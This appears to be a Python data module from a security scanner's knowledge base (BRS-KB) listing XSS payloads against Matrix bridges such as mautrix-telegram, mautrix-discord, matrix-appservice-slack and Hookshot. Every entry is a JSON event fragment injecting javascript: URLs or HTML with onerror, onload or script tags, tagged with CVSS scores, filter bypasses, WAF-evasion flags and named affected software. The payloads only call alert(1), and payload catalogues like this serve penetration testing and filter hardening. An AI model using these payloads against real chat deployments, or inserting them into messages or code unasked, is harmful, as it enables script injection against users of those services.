# Project: BRS-KB
# Company: EasyProTech LLC (www.easypro.tech)
# Dev: Brabus
# Date: 2025-12-26 UTC
# Status: Created
# Telegram: https://t.me/EasyProTech

"""
Matrix Bridges XSS Payloads

Attack vectors specific to Matrix bridges (Telegram, Discord, Slack, IRC, etc.)
These payloads exploit the bridge translation layer.

Profile: matrix-bridges
"""

from ..models import PayloadEntry


BRS_KB_MATRIX_BRIDGES_PAYLOADS = {
    # ============================================================
    # TELEGRAM BRIDGE (mautrix-telegram)
    # ============================================================
    "matrix-bridge-telegram-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.telegram.source":"telegram"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Telegram bridge external_url XSS",
        tags=["bridge", "telegram", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-telegram / external_url",
        known_affected=["mautrix-telegram"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-telegram-displayname": PayloadEntry(
        payload='{"fi.mau.telegram.puppet":{"displayname":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Telegram bridge puppet displayname XSS",
        tags=["bridge", "telegram", "mautrix", "displayname"],
        bypasses=["displayname_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="mautrix-telegram / puppet",
        known_affected=["mautrix-telegram"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-telegram-caption": PayloadEntry(
        payload='{"fi.mau.telegram.caption":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Telegram bridge media caption XSS",
        tags=["bridge", "telegram", "mautrix", "caption"],
        bypasses=["caption_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-telegram / caption",
        known_affected=["mautrix-telegram"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-telegram-forward": PayloadEntry(
        payload='{"fi.mau.telegram.forward_from":{"displayname":"<svg onload=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Telegram bridge forward displayname XSS",
        tags=["bridge", "telegram", "mautrix", "forward"],
        bypasses=["forward_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-telegram / forward_from",
        known_affected=["mautrix-telegram"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-telegram-sticker-pack": PayloadEntry(
        payload='{"fi.mau.telegram.sticker":{"pack":{"title":"<img src=x onerror=alert(1)>"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Telegram bridge sticker pack title XSS",
        tags=["bridge", "telegram", "mautrix", "sticker"],
        bypasses=["sticker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-telegram / sticker",
        known_affected=["mautrix-telegram"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # DISCORD BRIDGE (mautrix-discord)
    # ============================================================
    "matrix-bridge-discord-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.discord.source":"discord"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Discord bridge external_url XSS",
        tags=["bridge", "discord", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-discord / external_url",
        known_affected=["mautrix-discord"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-discord-embed-title": PayloadEntry(
        payload='{"fi.mau.discord.embed":{"title":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Discord bridge embed title XSS",
        tags=["bridge", "discord", "mautrix", "embed"],
        bypasses=["embed_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="mautrix-discord / embed",
        known_affected=["mautrix-discord"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-discord-embed-description": PayloadEntry(
        payload='{"fi.mau.discord.embed":{"description":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Discord bridge embed description XSS",
        tags=["bridge", "discord", "mautrix", "embed"],
        bypasses=["embed_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="mautrix-discord / embed",
        known_affected=["mautrix-discord"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-discord-embed-author": PayloadEntry(
        payload='{"fi.mau.discord.embed":{"author":{"name":"<svg onload=alert(1)>"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Discord bridge embed author XSS",
        tags=["bridge", "discord", "mautrix", "embed", "author"],
        bypasses=["embed_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-discord / embed",
        known_affected=["mautrix-discord"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-discord-webhook-name": PayloadEntry(
        payload='{"fi.mau.discord.webhook":{"name":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Discord bridge webhook name XSS",
        tags=["bridge", "discord", "mautrix", "webhook"],
        bypasses=["webhook_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-discord / webhook",
        known_affected=["mautrix-discord"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # SLACK BRIDGE (mautrix-slack, matrix-appservice-slack)
    # ============================================================
    "matrix-bridge-slack-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","org.matrix.slack.channel":"#general"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Slack bridge external_url XSS",
        tags=["bridge", "slack", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="matrix-appservice-slack / external_url",
        known_affected=["matrix-appservice-slack", "mautrix-slack"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-slack-channel-name": PayloadEntry(
        payload='{"org.matrix.slack.channel":"#<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Slack bridge channel name XSS",
        tags=["bridge", "slack", "channel"],
        bypasses=["channel_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="bridge",
        spec_ref="matrix-appservice-slack / channel",
        known_affected=["matrix-appservice-slack"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-slack-attachment-title": PayloadEntry(
        payload='{"org.matrix.slack.attachments":[{"title":"<img src=x onerror=alert(1)>"}]}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Slack bridge attachment title XSS",
        tags=["bridge", "slack", "attachment"],
        bypasses=["attachment_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="matrix-appservice-slack / attachments",
        known_affected=["matrix-appservice-slack"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-slack-attachment-text": PayloadEntry(
        payload='{"org.matrix.slack.attachments":[{"text":"<svg onload=alert(1)>"}]}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Slack bridge attachment text XSS",
        tags=["bridge", "slack", "attachment"],
        bypasses=["attachment_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="matrix-appservice-slack / attachments",
        known_affected=["matrix-appservice-slack"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # IRC BRIDGE (matrix-appservice-irc, heisenbridge)
    # ============================================================
    "matrix-bridge-irc-server": PayloadEntry(
        payload='{"fi.mau.irc.server":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-IRC bridge server XSS",
        tags=["bridge", "irc", "server"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="bridge",
        spec_ref="matrix-appservice-irc / server",
        known_affected=["matrix-appservice-irc"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-irc-nick": PayloadEntry(
        payload='{"org.matrix.irc.nick":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-IRC bridge nick XSS",
        tags=["bridge", "irc", "nick"],
        bypasses=["nick_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="matrix-appservice-irc / nick",
        known_affected=["matrix-appservice-irc", "heisenbridge"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-irc-channel": PayloadEntry(
        payload='{"org.matrix.irc.channel":"#<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-IRC bridge channel XSS",
        tags=["bridge", "irc", "channel"],
        bypasses=["channel_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="bridge",
        spec_ref="matrix-appservice-irc / channel",
        known_affected=["matrix-appservice-irc"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # WHATSAPP BRIDGE (mautrix-whatsapp)
    # ============================================================
    "matrix-bridge-whatsapp-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.whatsapp.source":"whatsapp"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-WhatsApp bridge external_url XSS",
        tags=["bridge", "whatsapp", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-whatsapp / external_url",
        known_affected=["mautrix-whatsapp"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-whatsapp-quoted": PayloadEntry(
        payload='{"fi.mau.whatsapp.quoted":{"sender":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-WhatsApp bridge quoted sender XSS",
        tags=["bridge", "whatsapp", "mautrix", "quoted"],
        bypasses=["quoted_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-whatsapp / quoted",
        known_affected=["mautrix-whatsapp"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # SIGNAL BRIDGE (mautrix-signal)
    # ============================================================
    "matrix-bridge-signal-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.signal.source":"signal"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Signal bridge external_url XSS",
        tags=["bridge", "signal", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-signal / external_url",
        known_affected=["mautrix-signal"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-signal-quote": PayloadEntry(
        payload='{"fi.mau.signal.quote":{"author":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Signal bridge quote author XSS",
        tags=["bridge", "signal", "mautrix", "quote"],
        bypasses=["quote_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-signal / quote",
        known_affected=["mautrix-signal"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # FACEBOOK BRIDGE (mautrix-facebook)
    # ============================================================
    "matrix-bridge-facebook-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.facebook.source":"facebook"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Facebook bridge external_url XSS",
        tags=["bridge", "facebook", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-facebook / external_url",
        known_affected=["mautrix-facebook"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # INSTAGRAM BRIDGE (mautrix-instagram)
    # ============================================================
    "matrix-bridge-instagram-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.instagram.source":"instagram"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Instagram bridge external_url XSS",
        tags=["bridge", "instagram", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-instagram / external_url",
        known_affected=["mautrix-instagram"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # TWITTER BRIDGE (mautrix-twitter)
    # ============================================================
    "matrix-bridge-twitter-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.twitter.source":"twitter"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Twitter bridge external_url XSS",
        tags=["bridge", "twitter", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-twitter / external_url",
        known_affected=["mautrix-twitter"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # GOOGLE CHAT BRIDGE (mautrix-googlechat)
    # ============================================================
    "matrix-bridge-googlechat-external-url": PayloadEntry(
        payload='{"external_url":"javascript:alert(1)","fi.mau.googlechat.source":"googlechat"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Google Chat bridge external_url XSS",
        tags=["bridge", "googlechat", "mautrix", "external_url"],
        bypasses=["bridge_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="mautrix-googlechat / external_url",
        known_affected=["mautrix-googlechat"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # LINKEDIN BRIDGE
    # ============================================================
    "matrix-bridge-linkedin-displayname": PayloadEntry(
        payload='{"fi.mau.linkedin.displayname":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-LinkedIn bridge displayname XSS",
        tags=["bridge", "linkedin", "displayname"],
        bypasses=["displayname_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="linkedin bridge / displayname",
        known_affected=None,
        profile="matrix-bridges",
    ),
    # ============================================================
    # EMAIL BRIDGE (matrix-appservice-email)
    # ============================================================
    "matrix-bridge-email-subject": PayloadEntry(
        payload='{"org.matrix.email.subject":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix-Email bridge subject XSS",
        tags=["bridge", "email", "subject"],
        bypasses=["email_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="matrix-appservice-email / subject",
        known_affected=["matrix-appservice-email"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-email-from": PayloadEntry(
        payload='{"org.matrix.email.from":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix-Email bridge from header XSS",
        tags=["bridge", "email", "from"],
        bypasses=["email_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="bridge",
        spec_ref="matrix-appservice-email / from",
        known_affected=["matrix-appservice-email"],
        profile="matrix-bridges",
    ),
    # ============================================================
    # HOOKSHOT (Webhooks, GitHub, GitLab, Jira)
    # ============================================================
    "matrix-bridge-hookshot-github-title": PayloadEntry(
        payload='{"uk.half-shot.hookshot.github":{"title":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Hookshot GitHub issue title XSS",
        tags=["hookshot", "github", "title"],
        bypasses=["hookshot_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="Hookshot / GitHub",
        known_affected=["matrix-hookshot"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-hookshot-gitlab-title": PayloadEntry(
        payload='{"uk.half-shot.hookshot.gitlab":{"title":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Hookshot GitLab MR title XSS",
        tags=["hookshot", "gitlab", "title"],
        bypasses=["hookshot_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="Hookshot / GitLab",
        known_affected=["matrix-hookshot"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-hookshot-jira-summary": PayloadEntry(
        payload='{"uk.half-shot.hookshot.jira":{"summary":"<svg onload=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Hookshot Jira issue summary XSS",
        tags=["hookshot", "jira", "summary"],
        bypasses=["hookshot_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="Hookshot / Jira",
        known_affected=["matrix-hookshot"],
        profile="matrix-bridges",
    ),
    "matrix-bridge-hookshot-webhook": PayloadEntry(
        payload='{"uk.half-shot.hookshot.webhook":{"text":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Hookshot generic webhook text XSS",
        tags=["hookshot", "webhook", "text"],
        bypasses=["webhook_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="bridge",
        spec_ref="Hookshot / Webhooks",
        known_affected=["matrix-hookshot"],
        profile="matrix-bridges",
    ),
}

BRS_KB_MATRIX_BRIDGES_TOTAL_PAYLOADS = len(BRS_KB_MATRIX_BRIDGES_PAYLOADS)
